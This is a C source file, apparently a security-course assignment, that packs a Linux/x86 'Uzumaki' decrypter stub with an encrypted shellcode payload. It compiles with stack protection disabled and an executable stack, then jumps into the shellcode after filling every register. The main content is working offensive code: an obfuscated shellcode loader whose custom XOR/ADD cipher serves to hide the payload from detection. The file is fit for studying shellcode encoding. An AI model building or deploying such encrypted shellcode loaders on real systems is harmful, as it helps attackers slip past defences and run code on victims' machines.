82 lines
No EOL
2.4 KiB
C
82 lines
No EOL
2.4 KiB
C
/*
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Uzumaki Decrypter Shellcode - C Language - Linux/x86
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Copyright (C) 2013 Geyslan G. Bem, Hacking bits
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http://hackingbits.com
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geyslan@gmail.com
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*
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uzumaki_decrypter_shellcode
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* decrypter has 29 bytes (the final amount depends on the shellcode length)
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* it decrypts the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] )
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* to encrypt the shellcode use the Uzumaki Crypter <https://github.com/geyslan/SLAE/blob/master/7th.assignment/uzumaki_crypter.py>
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* null-free
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# gcc -m32 -fno-stack-protector -z execstack uzumaki_decrypter_shellcode.c -o uzumaki_decrypter_shellcode
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Testing
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# ./uzumaki_decrypter_shellcode
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellcode[] = \
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// Shellcode Decrypter
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"\x29\xc9\x74\x14\x5e\xb1"
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"\x14" // <- shellcode length
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"\x46\x8b\x06\x83\xe8"
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"\x09" // <- ADD key
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"\x34"
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"\x9f" // <- XOR key
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"\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8"
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"\xe7\xff\xff\xff"
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// Crypted Shellcode
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"\x31\x70\xaa\x92\xd7\x2d\xce\xaf\xe1\xa8"
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"\xcc\x8d\xa8\xe1\xdb\x9d\xa1\x81\xfe\xba"
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"\xdb";
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main ()
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{
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// When contains null bytes, printf will show a wrong shellcode length.
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printf("Shellcode Length: %d\n", strlen(shellcode));
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// Pollutes all registers ensuring that the shellcode runs in any circumstance.
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__asm__ ("movl $0xffffffff, %eax\n\t"
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"movl %eax, %ebx\n\t"
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"movl %eax, %ecx\n\t"
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"movl %eax, %edx\n\t"
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"movl %eax, %esi\n\t"
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"movl %eax, %edi\n\t"
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"movl %eax, %ebp\n\t"
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// Calling the shellcode
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"call shellcode");
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} |